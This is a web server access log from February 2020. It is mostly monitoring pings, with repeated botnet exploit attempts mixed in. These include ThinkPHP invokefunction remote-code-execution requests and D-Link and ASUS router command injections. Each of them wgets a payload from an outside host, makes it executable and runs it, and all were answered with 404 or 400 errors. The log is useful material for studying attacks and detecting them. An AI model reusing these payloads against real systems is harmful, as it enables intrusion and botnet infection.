164.68.112.178 - - [10/Feb/2020:07:00:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [10/Feb/2020:07:00:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [10/Feb/2020:07:00:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [10/Feb/2020:07:00:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [10/Feb/2020:07:01:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
172.104.167.52 - - [10/Feb/2020:07:01:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.57.26 - - [10/Feb/2020:07:03:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.174.237 - - [10/Feb/2020:07:05:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.117.33.27 - - [10/Feb/2020:07:05:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:07:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.78.129 - - [10/Feb/2020:07:08:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.56.78.64 - - [10/Feb/2020:07:12:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:07:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.60.130 - - [10/Feb/2020:07:12:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.31 - - [10/Feb/2020:07:20:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.239.19.112 - - [10/Feb/2020:07:21:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [10/Feb/2020:07:23:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:07:23:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:07:23:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:07:23:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
27.109.216.148 - - [10/Feb/2020:07:23:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [10/Feb/2020:07:23:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:07:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.118.114 - - [10/Feb/2020:07:25:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.66.59.137 - - [10/Feb/2020:07:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:07:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [10/Feb/2020:07:28:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.68.112.178 - - [10/Feb/2020:07:32:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
114.33.58.9 - - [10/Feb/2020:07:32:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.68.112.178 - - [10/Feb/2020:07:32:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:07:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.56.78.64 - - [10/Feb/2020:07:35:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:07:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.12.69.27 - - [10/Feb/2020:07:43:10 +0100] "GET /apply.cgi?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=ping+-c+5+%3B+ls+-l&firmver=3.0.0.4&cmdMethod=ping&destIP=wget http://80.82.67.184/richard; curl -O http://80.82.67.184/richard; chmod +x richard; sh richard&pingCNT=5 HTTP/1.1" 404 312 "http://192.168.1.1/Main_Analysis_Content.asp" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36"
47.254.145.98 - - [10/Feb/2020:07:43:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.212.89 - - [10/Feb/2020:07:43:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:07:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [10/Feb/2020:07:58:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:07:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.102.229 - - [10/Feb/2020:07:59:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:07:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.219.212.172 - - [10/Feb/2020:08:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:08:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.148 - - [10/Feb/2020:08:03:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [10/Feb/2020:08:03:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:08:03:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:08:03:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [10/Feb/2020:08:04:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:08:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [10/Feb/2020:08:04:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:08:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
73.252.237.164 - - [10/Feb/2020:08:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
178.124.222.231 - - [10/Feb/2020:08:07:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.124.222.231 - - [10/Feb/2020:08:08:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.153.37 - - [10/Feb/2020:08:08:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.97.121 - - [10/Feb/2020:08:12:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.69.80 - - [10/Feb/2020:08:15:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.165.46 - - [10/Feb/2020:08:16:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.224.35 - - [10/Feb/2020:08:16:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
